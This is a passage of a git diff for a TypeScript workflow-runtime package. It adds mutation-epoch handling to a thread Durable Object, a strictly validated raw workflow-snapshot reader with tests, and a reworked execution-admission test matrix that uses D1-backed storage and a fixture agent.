     const thread = threadWith('thread/invalid', { events });
diff --git a/packages/flowsafe/src/do-runner/thread-do.ts b/packages/flowsafe/src/do-runner/thread-do.ts
index 4693012e..5e64f0bd 100644
--- a/packages/flowsafe/src/do-runner/thread-do.ts
+++ b/packages/flowsafe/src/do-runner/thread-do.ts
@@ -34,6 +34,10 @@ import {
   verifyDurableObjectDeploymentRequest,
 } from './deployment-identity.js';
 import { DoStatusError, doErrorResponse } from './do-error-response.js';
+import {
+  MUTATION_EPOCH_HEADER,
+  mutationEpochFromHeader,
+} from './execution-admission.js';
 import { EXECUTION_PRINCIPAL_HEADER } from './execution-principal-header.js';
 import type { InitResult } from './init.js';
 import { isPathSafeId } from './path-safe-id.js';
@@ -72,6 +76,7 @@ export interface ThreadScope {
    * principals must have been declared by the target agent.
    */
   readonly principal: ExecutionPrincipal;
+  readonly mutationEpoch?: number;
   /** This DO's storage/runtime/pubsub wiring, built once per instance. */
   readonly init: InitResult;
 }
@@ -123,6 +128,7 @@ export abstract class ThreadDurableObject<TEnv = unknown> {
     _env: TEnv,
     _threadId: string,
     _init: InitResult,
+    _deploymentTag?: string,
   ): Promise<void> {}
 
   /**
@@ -143,6 +149,8 @@ export abstract class ThreadDurableObject<TEnv = unknown> {
 
   async fetch(request: Request): Promise<Response> {
     try {
+      const encodedPrincipal = request.headers.get(EXECUTION_PRINCIPAL_HEADER);
+      const encodedEpoch = request.headers.get(MUTATION_EPOCH_HEADER);
       // Deployment identity BEFORE request identity: a mis-provisioned
       // namespace (env tag vs D1 sentinel) refuses every request outright.
       // No-op off workerd (state undefined), memoized after first success.
@@ -153,12 +161,17 @@ export abstract class ThreadDurableObject<TEnv = unknown> {
       );
       // Assert BEFORE building: a refused caller never reaches storage, and the
       // ordering is visible here rather than buried inside the assertion.
-      const identity = this.#assertIdentity(request);
-      return await this.route(request, {
-        ...identity,
-        ...(deploymentTag !== undefined ? { deploymentTag } : {}),
-        init: this.#ensureInit(),
-      });
+      const identity = this.#assertIdentity(encodedPrincipal);
+      const mutationEpoch = mutationEpochFromHeader(encodedEpoch);
+      return await this.route(
+        request,
+        Object.freeze({
+          ...identity,
+          ...(mutationEpoch === undefined ? {} : { mutationEpoch }),
+          ...(deploymentTag !== undefined ? { deploymentTag } : {}),
+          init: this.#ensureInit(),
+        }),
+      );
     } catch (error) {
       // The SAME taxonomy DurableObjectRunner answers with: route() drives runs
       // through scope.init.runtime, so its typed errors (unknown run -> 404, not
@@ -175,8 +188,11 @@ export abstract class ThreadDurableObject<TEnv = unknown> {
       Date.now() + THREAD_ALARM_RECOVERY_DELAY_MS,
     );
     try {
-      await verifyDurableObjectDeploymentIdentity(this.state, this.env);
-      await this.onAlarm(this.env, threadId, this.#ensureInit());
+      const deploymentTag = await verifyDurableObjectDeploymentIdentity(
+        this.state,
+        this.env,
+      );
+      await this.onAlarm(this.env, threadId, this.#ensureInit(), deploymentTag);
     } catch (error) {
       await this.state?.storage.setAlarm?.(
         Date.now() + THREAD_ALARM_RECOVERY_DELAY_MS,
@@ -207,9 +223,9 @@ export abstract class ThreadDurableObject<TEnv = unknown> {
    * The chokepoint: every request must carry the trusted execution principal.
    * `route()` receives the asserted scope, never the raw request identity.
    */
-  #assertIdentity(request: Request): Omit<ThreadScope, 'init'> {
+  #assertIdentity(encodedPrincipal: string | null): Omit<ThreadScope, 'init'> {
     const threadId = this.threadId;
-    const principal = this.#principalFrom(request);
+    const principal = this.#principalFrom(encodedPrincipal);
     return {
       threadId,
       principal,
@@ -227,8 +243,7 @@ export abstract class ThreadDurableObject<TEnv = unknown> {
    * This is the SOLE identity channel: every route consumes `scope.principal`,
    * so no parallel actor/requester representation can disagree with it.
    */
-  #principalFrom(request: Request): ExecutionPrincipal {
-    const header = request.headers.get(EXECUTION_PRINCIPAL_HEADER);
+  #principalFrom(header: string | null): ExecutionPrincipal {
     if (header === null) {
       throw new ThreadIdentityError(
         `thread identity mismatch: request for '${this.threadId}' carries no trusted execution principal`,
diff --git a/packages/flowsafe/src/do-runner/workflow-snapshot-row.test.ts b/packages/flowsafe/src/do-runner/workflow-snapshot-row.test.ts
new file mode 100644
index 00000000..782f6d18
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/workflow-snapshot-row.test.ts
@@ -0,0 +1,207 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it, vi } from 'vitest';
+import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
+import { ExecutionFenceUnreadableError } from './execution-admission.js';
+import {
+  decodeRawWorkflowSnapshotResult,
+  prepareRawWorkflowSnapshotRead,
+  readRawWorkflowSnapshot,
+  type SnapshotDatabase,
+} from './workflow-snapshot-row.js';
+
+const ADDRESS = {
+  tablePrefix: 'tenant_',
+  workflowId: 'workflow',
+  runId: 'run',
+};
+const ROW = {
+  workflow_name: 'workflow',
+  run_id: 'run',
+  resourceId: null,
+  snapshot: '{"text":"λ"}',
+  createdAt: 'unchanged-created',
+  updatedAt: 'unchanged-updated',
+};
+
+describe('raw workflow snapshots', () => {
+  it('rejects inherited slots instead of accepting an apparently populated raw result', () => {
+    const rows = Object.setPrototypeOf(
+      new Array(1),
+      Object.assign(Object.create(Array.prototype), { 0: ROW }),
+    );
+    expect(Object.hasOwn(rows, 0)).toBe(false);
+    expect(() =>
+      decodeRawWorkflowSnapshotResult({ results: rows }, ADDRESS),
+    ).toThrow('row is malformed');
+  });
+  it('does not let a custom iterator hide a malformed raw row', () => {
+    const rows = [null];
+    Object.defineProperty(rows, Symbol.iterator, {
+      value: function* () {
+        yield ROW;
+      },
+    });
+    expect(() =>
+      decodeRawWorkflowSnapshotResult({ results: rows }, ADDRESS),
+    ).toThrow('row is malformed');
+  });
+  it('reads exact six fields and canonical address from native SQLite', async () => {
+    const sql = openSqlite();
+    sql.exec(
+      'CREATE TABLE tenant_mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT)',
+    );
+    sql
+      .prepare(
+        'INSERT INTO tenant_mastra_workflow_snapshot VALUES (?, ?, ?, ?, ?, ?)',
+      )
+      .run(...Object.values(ROW));
+    const db = sqliteUnitDatabase(sql) as SnapshotDatabase;
+    const value = await readRawWorkflowSnapshot(
+      db,
+      { ...ADDRESS, tablePrefix: 'TENANT_' },
+      { missingTable: 'error' },
+    );
+    expect(value).toEqual({
+      ...ADDRESS,
+      resourceId: null,
+      snapshot: ROW.snapshot,
+      createdAt: ROW.createdAt,
+      updatedAt: ROW.updatedAt,
+    });
+    expect(Object.isFrozen(value)).toBe(true);
+    expect(
+      await readRawWorkflowSnapshot(
+        db,
+        { ...ADDRESS, runId: 'absent' },
+        { missingTable: 'error' },
+      ),
+    ).toBeUndefined();
+  });
+
+  it('distinguishes optional table absence from a missing required table', async () => {
+    const db = sqliteUnitDatabase(openSqlite()) as SnapshotDatabase;
+    await expect(
+      readRawWorkflowSnapshot(db, ADDRESS, { missingTable: 'empty' }),
+    ).resolves.toBeUndefined();
+    await expect(
+      readRawWorkflowSnapshot(db, ADDRESS, { missingTable: 'error' }),
+    ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError);
+    const failure = new Error(
+      'no such table: tenant_mastra_workflow_snapshot',
+      { cause: new Error('disk corruption') },
+    );
+    const prepared = db.prepare('SELECT 1');
+    prepared.bind = () => prepared;
+    prepared.all = vi.fn().mockRejectedValue(failure);
+    await expect(
+      readRawWorkflowSnapshot({ prepare: () => prepared }, ADDRESS, {
+        missingTable: 'empty',
+      }),
+    ).rejects.toMatchObject({ cause: failure });
+  });
+
+  it.each([
+    null,
+    {},
+    { results: [], success: false },
+    { results: [], success: undefined },
+    { results: [ROW, ROW] },
+    { results: new Array(1) },
+    { results: [null] },
+    ...Object.keys(ROW).map((field) => ({
+      results: [
+        Object.fromEntries(
+          Object.entries(ROW).filter(([key]) => key !== field),
+        ),
+      ],
+    })),
+    ...[
+      'workflow_name',
+      'run_id',
+      'snapshot',
+      'createdAt',
+      'updatedAt',
+      'resourceId',
+    ].map((field) => ({ results: [{ ...ROW, [field]: 7 }] })),
+    { results: [{ ...ROW, run_id: 'other' }] },
+    { results: [{ ...ROW, workflow_name: 'other' }] },
+  ])('refuses malformed rows or envelopes %#', (result) => {
+    expect(() => decodeRawWorkflowSnapshotResult(result, ADDRESS)).toThrow();
+  });
+
+  it('does not confuse SELECT metadata with row cardinality or parse JSON', () => {
+    expect(
+      decodeRawWorkflowSnapshotResult(
+        { results: [], meta: { changes: 1 } },
+        ADDRESS,
+      ),
+    ).toBeUndefined();
+    expect(
+      decodeRawWorkflowSnapshotResult(
+        { results: [{ ...ROW, snapshot: 'not JSON' }], meta: { changes: 0 } },
+        ADDRESS,
+      )?.snapshot,
+    ).toBe('not JSON');
+  });
+
+  it('validates and returns one captured envelope array', () => {
+    let reads = 0;
+    const result = {
+      get results() {
+        reads += 1;
+        return reads === 1 ? [ROW] : [{ ...ROW, run_id: 'replacement' }];
+      },
+    };
+    expect(decodeRawWorkflowSnapshotResult(result, ADDRESS)?.runId).toBe('run');
+    expect(reads).toBe(1);
+  });
+
+  it('captures each array element before validating and decoding it', () => {
+    let reads = 0;
+    const rows: unknown[] = [];
+    Object.defineProperty(rows, 0, {
+      get() {
+        return ++reads === 1 ? ROW : undefined;
+      },
+    });
+    expect(
+      decodeRawWorkflowSnapshotResult({ results: rows }, ADDRESS)?.runId,
+    ).toBe('run');
+    expect(reads).toBe(1);
+  });
+
+  it('captures address values once before waiting and rejects bad addresses before prepare', async () => {
+    const sql = openSqlite();
+    const db = sqliteUnitDatabase(sql) as SnapshotDatabase;
+    const prepared = db.prepare('SELECT 1');
+    prepared.bind = () => prepared;
+    let release!: (value: { results: (typeof ROW)[] }) => void;
+    prepared.all = vi.fn(
+      () =>
+        new Promise<{ results: (typeof ROW)[] }>((resolve) => {
+          release = resolve;
+        }),
+    ) as typeof prepared.all;
+    const source = { ...ADDRESS };
+    const result = readRawWorkflowSnapshot(
+      { prepare: () => prepared },
+      source,
+      { missingTable: 'error' },
+    );
+    source.runId = 'changed';
+    release({ results: [ROW] });
+    expect((await result)?.runId).toBe('run');
+    const prepare = vi.fn();
+    for (const address of [
+      { ...ADDRESS, runId: '../bad' },
+      { ...ADDRESS, tablePrefix: 'bad-' },
+      { ...ADDRESS, tablePrefix: null },
+    ]) {
+      expect(() =>
+        prepareRawWorkflowSnapshotRead({ prepare }, address as typeof ADDRESS),
+      ).toThrow();
+    }
+    expect(prepare).not.toHaveBeenCalled();
+  });
+});
diff --git a/packages/flowsafe/src/do-runner/workflow-snapshot-row.ts b/packages/flowsafe/src/do-runner/workflow-snapshot-row.ts
new file mode 100644
index 00000000..80d8524c
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/workflow-snapshot-row.ts
@@ -0,0 +1,155 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { missingTableReadsEmpty } from './cause-chain.js';
+import { ExecutionFenceUnreadableError } from './execution-admission.js';
+import { isPathSafeId } from './path-safe-id.js';
+import { validateTablePrefix } from './table-prefix.js';
+
+/** Structural D1 surface; a transactional batch is required for admission. */
+export interface SnapshotDatabase {
+  prepare(query: string): SnapshotStatement;
+  /**
+   * Initial admission (`captureBatchResults`, fenced-workflows-d1.ts) reads
+   * `results` off every element; retention (`retentionBatchResult`,
+   * d1-storage.ts) reads `results` off the first element and requires
+   * `meta.changes` as a safe non-negative integer off the rest. So a
+   * hand-written adapter returning only `meta`, or omitting `meta` after the
+   * first element, fails at runtime.
+   */
+  batch?(
+    statements: SnapshotStatement[],
+  ): Promise<Array<{ results: unknown[]; meta?: { changes?: number } }>>;
+}
+
+export interface SnapshotStatement {
+  bind(...values: unknown[]): SnapshotStatement;
+  run(): Promise<unknown>;
+  all<T = unknown>(): Promise<{ results: T[] }>;
+}
+
+export interface D1RunAddress {
+  readonly tablePrefix: string;
+  readonly workflowId: string;
+  readonly runId: string;
+}
+
+export interface RawWorkflowSnapshot extends D1RunAddress {
+  readonly resourceId: string | null;
+  readonly snapshot: string;
+  readonly createdAt: string;
+  readonly updatedAt: string;
+}
+
+/** @internal Strict row envelopes, independent of SELECT/DML metadata. */
+export function snapshotResultRows(result: unknown): Record<string, unknown>[] {
+  if (
+    result === null ||
+    typeof result !== 'object' ||
+    ('success' in result && result.success !== true) ||
+    !('results' in result)
+  )
+    throw new Error('workflow snapshot result is malformed');
+  const rows: unknown = result.results;
+  if (!Array.isArray(rows))
+    throw new Error('workflow snapshot result is malformed');
+  const length = rows.length;
+  if (!Number.isSafeInteger(length) || length < 0)
+    throw new Error('workflow snapshot result is malformed');
+  return Array.from({ length }, (_, index) => {
+    if (!Object.hasOwn(rows, index))
+      throw new Error('workflow snapshot result row is malformed');
+    const row = rows[index];
+    if (row === null || typeof row !== 'object' || Array.isArray(row))
+      throw new Error('workflow snapshot result row is malformed');
+    return row;
+  });
+}
+
+/** @internal Prepare the same exact read used by consistent readback batches. */
+export function prepareRawWorkflowSnapshotRead(
+  db: Pick<SnapshotDatabase, 'prepare'>,
+  input: D1RunAddress,
+): { statement: SnapshotStatement; address: D1RunAddress } {
+  const { tablePrefix, workflowId, runId } = input;
+  if (
+    typeof tablePrefix !== 'string' ||
+    !isPathSafeId(workflowId) ||
+    !isPathSafeId(runId)
+  )
+    throw new Error('workflow snapshot address is malformed');
+  const prefix = validateTablePrefix(tablePrefix)?.toLowerCase() ?? '';
+  const address = Object.freeze({ tablePrefix: prefix, workflowId, runId });
+  const statement = db
+    .prepare(`SELECT workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt
+    FROM "${prefix}mastra_workflow_snapshot"
+    WHERE workflow_name = ? AND run_id = ? LIMIT 2`)
+    .bind(workflowId, runId);
+  return { statement, address };
+}
+
+/** @internal Decode exact stored bytes without JSON or timestamp coercion. */
+export function decodeRawWorkflowSnapshotResult(
+  result: unknown,
+  address: D1RunAddress,
+): RawWorkflowSnapshot | undefined {
+  const rows = snapshotResultRows(result);
+  if (rows.length > 1) throw new Error('workflow snapshot is not a singleton');
+  const row = rows[0];
+  if (row === undefined) return undefined;
+  for (const key of [
+    'workflow_name',
+    'run_id',
+    'resourceId',
+    'snapshot',
+    'createdAt',
+    'updatedAt',
+  ]) {
+    if (!Object.hasOwn(row, key))
+      throw new Error('workflow snapshot field is missing');
+  }
+  const { workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt } =
+    row;
+  if (
+    workflow_name !== address.workflowId ||
+    run_id !== address.runId ||
+    (resourceId !== null && typeof resourceId !== 'string') ||
+    typeof snapshot !== 'string' ||
+    typeof createdAt !== 'string' ||
+    typeof updatedAt !== 'string'
+  )
+    throw new Error('workflow snapshot fields are malformed');
+  return Object.freeze({
+    ...address,
+    resourceId,
+    snapshot,
+    createdAt,
+    updatedAt,
+  });
+}
+
+export async function readRawWorkflowSnapshot(
+  db: Pick<SnapshotDatabase, 'prepare'>,
+  input: D1RunAddress,
+  options: { readonly missingTable: 'empty' | 'error' },
+): Promise<RawWorkflowSnapshot | undefined> {
+  let table: string | undefined;
+  const mode = options.missingTable;
+  try {
+    if (mode !== 'empty' && mode !== 'error')
+      throw new Error('missing-table mode is required');
+    const { statement, address } = prepareRawWorkflowSnapshotRead(db, input);
+    table = `${address.tablePrefix}mastra_workflow_snapshot`;
+    return decodeRawWorkflowSnapshotResult(await statement.all(), address);
+  } catch (error) {
+    if (
+      mode === 'empty' &&
+      table !== undefined &&
+      missingTableReadsEmpty(error, table)
+    )
+      return undefined;
+    throw new ExecutionFenceUnreadableError(
+      'workflow snapshot is not readable',
+      { cause: error },
+    );
+  }
+}
diff --git a/packages/flowsafe/src/execution-entry-matrix.test.ts b/packages/flowsafe/src/execution-entry-matrix.test.ts
index 8e1a82b9..168a3d4a 100644
--- a/packages/flowsafe/src/execution-entry-matrix.test.ts
+++ b/packages/flowsafe/src/execution-entry-matrix.test.ts
@@ -24,7 +24,7 @@
 //                             approval decide, signal delivery. Admitted
 //                             through a drain, because finishing these is what
 //                             the drain is waiting for. In proof-only, only the
-//                             nominated run.
+//                             nominated physical generation.
 //   admitsWorkAuthoring       standing configuration that ARMS future work — a
 //                             schedule created or resumed, an objective set, a
 //                             due fire claimed. `open` only; nothing nominates
@@ -50,38 +50,59 @@
 // admitsDrainableExecution.
 
 import { Mastra } from '@mastra/core';
-import type { Agent } from '@mastra/core/agent';
-import type { NotificationsStorage } from '@mastra/core/notifications';
+import { Agent, createSignal } from '@mastra/core/agent';
+import { MockMemory } from '@mastra/core/memory';
+import { RequestContext } from '@mastra/core/request-context';
 import { InMemoryStore } from '@mastra/core/storage';
-import { describe, expect, it } from 'vitest';
+import {
+  createStep,
+  createWorkflow,
+  type WorkflowRunState,
+} from '@mastra/core/workflows';
+import ts from 'typescript';
+import { describe, expect, it, vi } from 'vitest';
 import { z } from 'zod';
 
-import { openSqlite, sqliteUnitDatabase } from '../test-support/sqlite.js';
+import { durableKeyValueStorageFixture } from '../test-support/durable-key-value-storage.js';
+import {
+  openSqlite,
+  type SqliteDatabase,
+  sqliteUnitDatabase,
+} from '../test-support/sqlite.js';
+import { createFlowsafeDurableAgent } from './agent-runner/index.js';
 import type { ActorContext, ApprovalActor } from './approval-api/index.js';
 import {
   ApprovalService,
+  D1ResourceOwnershipStore,
   InMemoryApprovalStore,
-  InMemoryResourceOwnershipStore,
+  type ResourceOwnershipDatabase,
 } from './approval-api/index.js';
 import { BackgroundTaskHost } from './background-tasks/index.js';
+import type {
+  D1StartExecutionIdentity,
+  RunExecutionIdentity,
+} from './do-runner/execution-admission.js';
+import { RUN_PROVENANCE_CONTEXT_KEY } from './do-runner/execution-context.js';
 import type {
   DurableObjectRunOwnershipStore,
   ExecutionFenceDatabase,
   ExecutionFenceReading,
   ExecutionFenceState,
   RunnerRuntime,
-  StartIdempotencyDatabase,
 } from './do-runner/index.js';
 import {
   admitsDrainableExecution,
   admitsExistingRun,
   admitsRunStart,
   admitsWorkAuthoring,
+  createD1Storage,
   createHostPubSub,
   DEPLOYMENT_IDENTITY_HEADER,
   DurableObjectRunner,
   EXECUTION_PRINCIPAL_HEADER,
   ExecutionFenceStore,
+  FENCED_WORKFLOW_STORAGE,
+  type FencedWorkflowsStorageD1,
   init,
   StartIdempotencyStore,
 } from './do-runner/index.js';
@@ -111,6 +132,7 @@ import {
 import {
   createNotificationDispatchTick,
   createThreadSignalRoutes,
+  type NotificationDeliveryStorage,
 } from './signals/index.js';
 
 const STATES: readonly ExecutionFenceState[] = [
@@ -135,17 +157,20 @@ type PredicateName =
  * The declared predicate, evaluated on a real reading.
  *
  * `nomination` is what proof-only would have to name for this entry to be
- * admitted — an idempotency key for a mint, a runId for work on an existing
+ * admitted — an idempotency key for a mint, a complete generation for an existing
  * run — and it is `undefined` on the probe that deliberately does not carry it.
  */
 function admits(
   predicate: PredicateName,
   reading: ExecutionFenceReading,
-  nomination: string | undefined,
+  nomination: string | RunExecutionIdentity | undefined,
 ): boolean {
   switch (predicate) {
     case 'admitsRunStart':
-      return admitsRunStart(reading, nomination);
+      return admitsRunStart(
+        reading,
+        typeof nomination === 'string' ? nomination : undefined,
+      );
     case 'admitsExistingRun':
       return admitsExistingRun(reading, nomination);
     case 'admitsWorkAuthoring':
@@ -164,7 +189,7 @@ interface Prepared {
    * entry with no nomination is never admitted in proof-only, and its
    * nominated probe asserts exactly that rather than a duplicate.
    */
-  readonly nomination?: string;
+  readonly nomination?: string | D1StartExecutionIdentity;
   /** Drive the production entry. `carry` supplies the nomination when true. */
   invoke(carry: boolean): Promise<Admission>;
 }
@@ -182,16 +207,24 @@ interface Entry {
    * suspended run, a filed approval, a due schedule) is created the way
    * production creates it. The fence moves only after this returns.
    */
-  prepare(fence: ExecutionFenceStore): Promise<Prepared>;
+  prepare(
+    fence: ExecutionFenceStore,
+    database: ExecutionFenceDatabase,
+    sqlite: SqliteDatabase,
+  ): Promise<Prepared>;
 }
 
 /** A fresh fence store over its own in-memory database, seeded open. */
-async function openFence(): Promise<ExecutionFenceStore> {
-  const fence = new ExecutionFenceStore(
-    sqliteUnitDatabase(openSqlite()) as ExecutionFenceDatabase,
-  );
+async function openFence(): Promise<{
+  fence: ExecutionFenceStore;
+  database: ExecutionFenceDatabase;
+  sqlite: SqliteDatabase;
+}> {
+  const sqlite = openSqlite();
+  const database = deploymentIdentityDatabase(sqlite);
+  const fence = new ExecutionFenceStore(database);
   await fence.seed('open');
-  return fence;
+  return { fence, database, sqlite };
 }
 
 /**
@@ -248,21 +281,17 @@ function nextRunId(): string {
 }
 
 /** A workflow whose only step suspends, so a run can be left mid-flight. */
-function gatedRuntime(
+async function gatedRuntime(
   fence: ExecutionFenceStore,
-  storage = new InMemoryStore(),
-): RunnerRuntime {
+  database: ExecutionFenceDatabase,
+): Promise<RunnerRuntime> {
+  const storage = createD1Storage({ binding: database });
+  await storage.init();
   const { createWorkflow, createStep, runtime } = init(
     { storage },
     {
       executionFence: fence,
-      // A real reservation store, not `'none'`: the run object refuses to serve
-      // a runtime that has none while its env carries a DB binding, so the
-      // opt-out would fail every DO drive below with a wiring error instead of
-      // a verdict.
-      startIdempotency: new StartIdempotencyStore(
-        sqliteUnitDatabase(openSqlite()) as StartIdempotencyDatabase,
-      ),
+      startIdempotency: new StartIdempotencyStore(database),
     },
   );
   const gate = createStep({
@@ -287,8 +316,9 @@ function gatedRuntime(
 }
 
 /** A D1 double carrying the deployment sentinel the DO hosts verify against. */
-function deploymentIdentityDatabase(): unknown {
-  const sqlite = openSqlite();
+function deploymentIdentityDatabase(
+  sqlite = openSqlite(),
+): ExecutionFenceDatabase {
   sqlite.exec(
     `CREATE TABLE flowsafe_deployment (
        id INTEGER PRIMARY KEY CHECK (id = 1),
@@ -301,19 +331,18 @@ function deploymentIdentityDatabase(): unknown {
       'INSERT INTO flowsafe_deployment (id, tenant_tag, provisioned_at) VALUES (1, ?, ?)',
     )
     .run('acme', new Date(0).toISOString());
-  return sqliteUnitDatabase(sqlite);
+  return sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase;
 }
 
 interface RunnerEnv {
-  storage: InMemoryStore;
-  fence: ExecutionFenceStore;
+  runtime: RunnerRuntime;
   owners: DurableObjectRunOwnershipStore;
   DEPLOYMENT_TENANT: string;
   DEPLOYMENT_IDENTITY_SECRET: string;
-  DB: unknown;
+  DB: ExecutionFenceDatabase;
 }
 
-/** The production run-object host, over the real in-memory ownership registry. */
+/** The production run-object host, over the same D1 ownership and run domains. */
 class MatrixRunner extends DurableObjectRunner<RunnerEnv> {
   protected runOwnership(env: RunnerEnv): DurableObjectRunOwnershipStore {
     return env.owners;
@@ -324,19 +353,31 @@ class MatrixRunner extends DurableObjectRunner<RunnerEnv> {
   }
 
   protected build(env: RunnerEnv): RunnerRuntime {
-    return gatedRuntime(env.fence, env.storage);
+    return env.runtime;
   }
 }
 
-function matrixRunner(fence: ExecutionFenceStore): MatrixRunner {
-  return new MatrixRunner(undefined, {
-    storage: new InMemoryStore(),
-    fence,
-    owners: new InMemoryResourceOwnershipStore(),
-    DEPLOYMENT_TENANT: 'acme',
-    DEPLOYMENT_IDENTITY_SECRET: TEST_IDENTITY_SECRET,
-    DB: deploymentIdentityDatabase(),
-  });
+async function matrixRunner(
+  fence: ExecutionFenceStore,
+  database: ExecutionFenceDatabase,
+  runId: string,
+): Promise<{ runner: MatrixRunner; runtime: RunnerRuntime }> {
+  const runtime = await gatedRuntime(fence, database);
+  const journal = durableKeyValueStorageFixture();
+  const runner = new MatrixRunner(
+    { id: { name: `gated:${runId}` }, storage: journal.storage },
+    {
+      runtime,
+      owners: new D1ResourceOwnershipStore(
+        database as unknown as ResourceOwnershipDatabase,
+      ),
+      DEPLOYMENT_TENANT: 'acme',
+      DEPLOYMENT_IDENTITY_SECRET: TEST_IDENTITY_SECRET,
+      DB: database,
+    },
+  );
+  expect(journal.alarms).toEqual([]);
+  return { runner, runtime };
 }
 
 function runnerRequest(path: string, body: Record<string, unknown>): Request {
@@ -390,10 +431,11 @@ function stubTopology(): ReturnType<typeof createThreadTopology> {
   return createThreadTopology(stubThreadNamespace(), TEST_IDENTITY_SECRET);
 }
 
-/** The real D1 schedules domain over node:sqlite, with its schema created. */
-async function schedulesDomain(): Promise<D1SchedulesStorage> {
+async function schedulesDomain(
+  database?: ExecutionFenceDatabase,
+): Promise<D1SchedulesStorage> {
   const store = new D1SchedulesStorage(
-    sqliteUnitDatabase(openSqlite()) as ScheduleDatabase,
+    (database ?? sqliteUnitDatabase(openSqlite())) as ScheduleDatabase,
   );
   await store.init();
   return store;
@@ -404,37 +446,169 @@ const TARGET_POLICY = createScheduleTargetPolicy({
   agents: [],
 });
 
-/**
- * The minimum agent the thread signal routes need, with an ACTIVE thread run so
- * proof-only has something to nominate.
- *
- * `Agent` is a @mastra/core class the routes only ever call methods on, so a
- * structural stand-in is the honest fixture here — the alternative is booting a
- * model, which would test the model.
- */
-function matrixAgent(activeRunId: string): Agent {
-  const delivered = {
-    signal: { id: 's' },
-    accepted: Promise.resolve({ action: 'deliver', runId: activeRunId }),
-  };
-  return {
-    id: 'agent',
-    __setPubSub: () => undefined,
-    getMemory: () => ({ saveMessages: async () => undefined }),
-    getActiveThreadRunId: () => activeRunId,
-    sendSignal: () => delivered,
-    sendMessage: () => delivered,
-  } as unknown as Agent;
+async function existingExecution(
+  runtime: RunnerRuntime,
+  workflowId: string,
+  runId: string,
+): Promise<D1StartExecutionIdentity> {
+  const state = await runtime.authoritativeStartState(workflowId, runId);
+  if (
+    state?.storage !== 'd1' ||
+    state.kind !== 'result' ||
+    !state.provenance.startIdentity
+  )
+    throw new Error('matrix requires an actual owned D1 result');
+  return { ...state.execution, ...state.provenance.startIdentity };
+}
+
+async function nominateExistingExecution(
+  fence: ExecutionFenceStore,
+  database: ExecutionFenceDatabase,
+  execution: D1StartExecutionIdentity,
+): Promise<void> {
+  const originalRound = await fence.read();
+  const store = new StartIdempotencyStore(database);
+  const { reservation } = await store.reserve({
+    key: PROOF_KEY,
+    owner: execution.owner,
+    targetKind: execution.target.kind,
+    targetId: execution.target.id,
+    ...(execution.target.kind === 'agent'
+      ? { threadId: execution.target.threadId }
+      : {}),
+    mintRunId: () => execution.runId,
+  });
+  const bound = await store.associateReservation(reservation, execution);
+  expect(
+    await fence.rebindProofRun({
+      reservation: bound,
+      execution,
+      proof: {
+        key: PROOF_KEY,
+        mutationEpoch: originalRound.mutationEpoch,
+        transitionRevision: originalRound.transitionRevision,
+      },
+      mutationEpoch: originalRound.mutationEpoch,
+      reservationStore: store,
+    }),
+  ).toBe(true);
+  expect((await fence.read()).proofExecution).toEqual({
+    tablePrefix: execution.tablePrefix,
+    workflowId: execution.workflowId,
+    runId: execution.runId,
+    startToken: execution.startToken,
+  });
 }
 
-/** The thread-DO scope the signal routes run inside. */
-function threadScope(fence: ExecutionFenceStore): unknown {
+async function matrixAgent(
+  fence: ExecutionFenceStore,
+  database: ExecutionFenceDatabase,
+  activeRunId: string,
+) {
+  const storage = createD1Storage({ binding: database });
+  await storage.init();
+  const pubsub = createHostPubSub();
+  const runner = init(
+    { storage },
+    {
+      pubsub,
+      executionFence: fence,
+      startIdempotency: new StartIdempotencyStore(database),
+    },
+  );
+  const agent = createFlowsafeDurableAgent({
+    agent: new Agent({
+      id: 'agent',
+      name: 'Matrix agent',
+      instructions: 'Matrix delivery fixture.',
+      model: {
+        specificationVersion: 'v2',
+        provider: 'matrix',
+        modelId: 'unreachable',
+        supportedUrls: {},
+        doGenerate: async () => {
+          throw new Error('matrix must not invoke a model');
+        },
+        doStream: async () => {
+          throw new Error('matrix must not invoke a model');
+        },
+      },
+      memory: new MockMemory(),
+    }),
+    runtime: runner.runtime,
+    pubsub,
+    cache: false,
+  });
+  const workflowId = agent.getWorkflow().id;
+  const domain = await storage.getStore('workflows');
+  if (!domain) throw new Error('matrix workflow domain is missing');
+  await domain.persistWorkflowSnapshot({
+    workflowName: workflowId,
+    runId: activeRunId,
+    snapshot: {
+      runId: activeRunId,
+      status: 'suspended',
+      context: {},
+      requestContext: {
+        [RUN_PROVENANCE_CONTEXT_KEY]: {
+          version: 2,
+          startToken: crypto.randomUUID(),
+          attemptToken: crypto.randomUUID(),
+          requestedBy: 'operator',
+          requestedByKind: 'human',
+          startIdentity: {
+            owner: { kind: 'human', id: 'operator' },
+            target: { kind: 'agent', id: 'agent', threadId: THREAD_ID },
+          },
+          agentStart: { threaded: true },
+          resumeCounts: [],
+        },
+      },
+      activePaths: [],
+      activeStepsPath: {},
+      serializedStepGraph: [],
+      suspendedPaths: {},
+      waitingPaths: {},
+      resumeLabels: {},
+      value: {},
+      timestamp: Date.now(),
+    } as WorkflowRunState,
+  });
+  const delivered = {
+    signal: createSignal({ id: 's', type: 'reactive', contents: 'nudge' }),
+    accepted: Promise.resolve({
+      action: 'deliver' as const,
+      runId: activeRunId,
+    }),
+  };
+  vi.spyOn(agent, 'getActiveThreadRunId').mockReturnValue(activeRunId);
+  const delivery = vi.spyOn(agent, 'sendSignal').mockReturnValue(delivered);
+  const nomination = await existingExecution(
+    runner.runtime,
+    workflowId,
+    activeRunId,
+  );
+  expect(
+    await agent.proofExecutionFor(runner.runtime, THREAD_ID, activeRunId),
+  ).toEqual({
+    tablePrefix: nomination.tablePrefix,
+    workflowId,
+    runId: activeRunId,
+    startToken: nomination.startToken,
+  });
   return {
-    threadId: THREAD_ID,
-    actor: { id: 'operator', role: 'operator' },
-    principal: { kind: 'human', id: 'operator', role: 'operator' },
-    requestedBy: 'operator',
-    init: { pubsub: createHostPubSub(), executionFence: fence },
+    agent,
+    nomination,
+    delivery,
+    scope: {
+      threadId: THREAD_ID,
+      principal: {
+        kind: 'human' as const,
+        id: 'operator',
